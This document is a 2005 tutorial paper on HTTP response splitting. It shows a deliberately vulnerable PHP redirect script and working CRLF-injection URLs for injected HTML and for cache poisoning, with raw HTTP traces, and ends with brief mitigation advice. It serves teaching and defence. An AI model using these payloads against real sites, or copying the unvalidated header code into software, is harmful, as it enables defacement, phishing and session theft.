HTTP RESPONSE SPLITTING by Diabolic Crab

[dcrab <dcrab () hackerscenter com>]

HTTP RESPONSE SPLITTING
     by Diabolic Crab (dcrab () hackerscenter com) 
     http://www.digitalparadox.org

Introduction to HTTP Response Splitting: 
This is a fairly new web application vulnerability. It can be used for the following purposes.

Cross site scripting (XSS): This is a very common and old form of vulnerability where it allows the user execution of 
html or java script code which can then lead to the hijacking of the user's cookie or session. They even allow 
javascript code execution and maybe used to exploit other vulnerabities in browsers with more anonymity.

Cross user defacement: This is a form of temporary defacement where the website, may looked defaced to a particular 
user. This is used in cases of information, id, or password theft. This enables an attacker to make the website look 
defaced to a particular single user, thus allowing the attacker to steal session data, cookies. It also allows the 
attacker to steal login information by forging a fake login screen for the website, thus allowing account compromise.

Web cache poisoning: In this form a rather larger defacement takes place where a cache is poisoned which is used by 
multiple users, thus making them think the site has been defaced, or that the site they are seeing is the genuine site 
when its not. In this case the attacker uses a proxy server etc and calls the vulnerable page using it to fool the 
cache into cacheing the second server response over which the attacker as complete control thus making the website 
defaced for anyone who uses or shares that cache server or proxy server. Uses for such an attack would vary vastly, 
some being: Defacement as it causes everyone who uses that cache or proxy to see the website as defaced. The second 
being phising, in which by showing a false page loaded by the attacker we can cause many users to give up private 
credit card numbers, user names, passwords and other confidential information. 

Hijacking pages: This allows user access to sensitive information, which might be confidential or not normally 
accessible to the user. With this the attacker can recieve the servers response to the client allowing sensitive data 
from the server to the client to be stolen by the attacker.

Browser cache poisoning: This is simmilar to XSS, the only difference being that the attacker forces the browser to 
cache the web page thus forming a long lasting defacement till the browser's cache has been cleared or cleaned.


These kind of attacks are generally carried out in web applications by injecting malicious or unexpected charecters in 
user input which is then used for a 302 Redirect, in the Location or Set-Cookie header. So in the case of web 
applications, a code generally such as "\r\n" is injected in one of its many encoded forms. Though this vulnerability 
is mainly present in web applications it is not limited to them and can be exploited with simmilar methods over 
different protocols, as long as user input is present in headers, and there is no validation for all illegal 
charecters. This paper is going to focus on the usage of HTTP response splitting vulnerabilities in the case of web 
applications. This type of vulnerabiliy being fairly new, I have found it to be present in many large corporate 
websites, some of which might surprise you, most of them still exist. Well back to the topic, 

This kind of attack is mainly possible due to the lack of validation of user input, for charecters such as, CR and LF.
CR = %0d = \r
LF = %0a = \n



How it works?:
To first understand how these vulnerabilities work, let us first understand how a normal response to a 302 redirection 
would be like.

Lets consider a normal redirect script as so,

<?php
header ("Location: " . $_GET['page']);
?>

So a request like http://icis.digitalparadox.org/~dcrab/redirect.php?page=http://www.digitalparadox.org would redirect 
a user to http://www.digitalparadox.org. Let us take a look under the hood at the headers,

User -to Server Get request
GET /~dcrab/redirect.php?page=http://www.digitalparadox.org HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n

Server to User 302 response\r\n
HTTP/1.1 302 Found\r\n
Date: Tue, 12 Apr 2005 21:00:28 GMT\r\n
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c\r\n
Location: http://www.digitalparadox.org\r\n                                    [User input in headers]
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html\r\n
\r\n

User to Server Get request for redireted page
GET / HTTP/1.1
Host: www.digitalparadox.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Now the server will respond with a normal 200 Found response and then the user will see the web page 
www.digitalparadox.org. As you may have also noticed each new line in the HTTP protocol is shown with a \r\n or CR and 
LF. Thus it is obvious, that by injecting false \r\n or CR and LF values in the user input followed by a false HTTP 
Request we can make arbitary content of our choice show up on the users browser, or cause Cross user defacement, Cache 
poisoning, Hijack a page, or cause browser cache poisoning. So by now you must have understood how a basic HTTP 
Response Splitting vulnerability works, and got the overview of what we basically have to do to exploit these 
vulnerabilities correctly.

So now using such a vulnerability as shown above to our advantage would be done something as follows. We use the %0d%0a 
charecters to poison the header so as to attain a temporary state of defacement. 

Thus injecting something like, 

http://icis.digitalparadox.org/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E

Injected Data:

%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E

Which can also be written as,
\r\n
Content-Type: text/html\r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
\r\n
<html><font color=red> hey</font></html>

The HTTP packets sent and recieved are as so,

User to Server Get request for the vulnerable page

GET 
/~dcrab/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Chtml%3E%3Cfont%20color=red%3Ehey%3C/font%3E%3C/html%3E
 HTTP/1.1\r\n
Host: icis.digitalparadox.org\r\n
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\r\n
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n
Accept-Language: en-us,en;q=0.5\r\n
Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n
Keep-Alive: 300\r\n
Connection: keep-alive\r\n
\r\n

Server to User 302 Found Response

HTTP/1.1 302 Found                                                                   [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c
Location: 
Content-Type: text/html
HTTP/1.1 200 OK                                                                         [Second New response created by 
attacker begins]
Content-Type: text/html

<html><font color=red>hey</font></html>                                 [Arbitary input by user is shown as the 
redirected page]            
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

0

As we can see in the exploitation process above, the server runs the normal 302 response, the arbitary input we gave in 
the location header causes it to start a new 200 OK response which shows our inputted data to the user as a normal web 
server response, Thus we have carried out a Cross Site Scripting exploitation of the Html Splitting vulnerability.

Cache poisoning:
To make the cache server, cache our request we must add some new headers. The Last-Modified header in the HTTP response 
will cause most cache servers to cache the web site, thus allowing our poisoned website to appear in the cache, as long 
as the Last-modified header is sent with a date ahead of the current date. Sending of the Cache-Control: no-cache 
and/or Pragma: no-cache requests will cause non cached websites to be added to the cache. 

Some example versions of the cache poisoning exploits for the above vulnerable example are,

Last-Modified example:

http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified:%20Wed,%2013%20Jan%202006%2012:44:23%20GMT%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
 color=red>hey</font></html> HTTP/1.1

Cache-Control example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
 color=red>hey</font></html> HTTP/1.1

Pragma example:
http://icis.digitalparadox.org/redirect.php?page=%0d%0aContent-Type:%20text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:%20no-cache%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html><font
 color=red>hey</font></html> HTTP/1.1



To avoid such HTTP Splitting vulnerabilities parse all user input for CR LF \r\n %0d%0a or any other forms of encoding 
these or other such malicious charecters before using them in any form of HTTP headers. The HTTP Response Splitting 
vulnerability is a very serious vulnerability and is currently present on many big web sites such as anti-virus 
agencies, Auction websites, and large Search engine/Chat networks. These vulnerabilities can be used to fool thier 
clients and steal critical information and thus is a very serious threat. It is a very big threat and is not recognised 
by many current security analyists. In this paper i havn't gone into deep detail as such papers are already available 
online (Look in reccomendations). 

Author: 
This paper is by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me. 
You can find me at, http://digitalparadox.org/ or http://www.hackerscenter.com. Lookout for my soon to come out book on 
Secure coding with php.


Paper information:
Paper Start Date: Thursday, October 13, 2005
Paper Start Time: 1:01:47 AM
Paper End Date: Thursday, October 13, 2005
Paper End Time: 3:27:10 AM
Pages: 5
Words: 1,415
Characters (no spaces): 9,411
Characters (with spaces): 11,014
Paragraphs: 109
Lines: 251

Refferences:
http://www.securityfocus.com/archive/107/336744
http://www.securityfocus.com/archive/1/271515
http://www.securityfocus.com/archive/1/290872
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf